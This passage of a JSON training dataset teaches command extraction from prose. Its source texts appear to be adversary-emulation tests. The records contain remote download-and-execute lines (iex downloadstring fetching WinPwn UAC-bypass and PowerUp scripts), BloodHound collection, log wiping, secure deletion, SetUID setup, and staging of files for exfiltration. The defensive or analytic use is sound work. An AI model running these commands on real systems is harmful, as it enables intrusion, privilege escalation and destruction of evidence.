    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To restart a Windows system, use the following command: shutdown /r /t #{timeout}; This test performs a system restart on FreeBSD, macOS, or Linux with the command: shutdown -r #{timeout}\n",
    "output": "{\"command_list\": [\"shutdown /r /t #{timeout}\\n\", \"shutdown -r #{timeout}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For secure deletion of the temporary file, execute the command: shred -u #{file_to_shred}; To remove a specific file from the temporary directory silently, run the following command in cmd.exe: del /f #{file_to_delete}\n. You'll need to check File Explorer to confirm the deletion since no output will be shown.",
    "output": "{\"command_list\": [\"shred -u #{file_to_shred}\\n\", \"del /f #{file_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following commands will delete a user account, after which you should run 'net user' to verify the 'AtomicUser' account no longer exists: net user #{user_account} #{new_user_password} /add\nnet.exe user #{user_account} /delete\n; The script checks if the specified user is in the domain admins group and removes them, executing this command: $PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \"CN=Domain Admins*\"){\n  Remove-ADGroupMember -Identity \"Domain Admins\" -Members #{remove_user} -Credential $Credential -Confirm:$False\n} else{\n    write-host \"Error - Make sure #{remove_user} is in the domain admins group\" -foregroundcolor Red\n}",
    "output": "{\"command_list\": [\"net user #{user_account} #{new_user_password} /add\\nnet.exe user #{user_account} /delete\\n\", \"$PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \\\"CN=Domain Admins*\\\"){\\n  Remove-ADGroupMember -Identity \\\"Domain Admins\\\" -Members #{remove_user} -Credential $Credential -Confirm:$False\\n} else{\\n    write-host \\\"Error - Make sure #{remove_user} is in the domain admins group\\\" -foregroundcolor Red\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills it with null bytes using the following commands: sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\n; To truncate the log file and then fill it with zeros, execute the following commands: cat /dev/null > /var/log/messages #truncating the file to zero bytes\ncat /dev/zero > /var/log/messages #log file filled with null bytes(zeros)",
    "output": "{\"command_list\": [\"sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\\n\", \"cat /dev/null > /var/log/messages #truncating the file to zero bytes\\ncat /dev/zero > /var/log/messages #log file filled with null bytes(zeros)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using WinPwn's functionality, you can bypass UAC via the DiskCleanup technique with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique DiskCleanup; To bypass UAC using the DccwBypassUAC technique from WinPwn, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nUACBypass -noninteractive -command \\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\" -technique DiskCleanup\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test configures a file with SetUID permissions by executing these commands: touch #{file_to_setuid}\nchown root #{file_to_setuid}\nchmod u+xs #{file_to_setuid}\n; For setting the SetGID flag on a specified file, run these commands in order: sudo touch #{file_to_setuid}\nsudo chown root #{file_to_setuid}\nsudo chmod g+xs #{file_to_setuid}\n",
    "output": "{\"command_list\": [\"touch #{file_to_setuid}\\nchown root #{file_to_setuid}\\nchmod u+xs #{file_to_setuid}\\n\", \"sudo touch #{file_to_setuid}\\nsudo chown root #{file_to_setuid}\\nsudo chmod g+xs #{file_to_setuid}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test mimics an adversary scanning for sensitive documents on removable devices by executing the following PowerShell command: powershell.exe -c \"Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\\\\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }\"; To compress collected data before exfiltration, use the following command: dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}",
    "output": "{\"command_list\": [\"powershell.exe -c \\\"Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\\\\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }\\\"\\n\", \"dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}\\n\"]}"
  },
  {
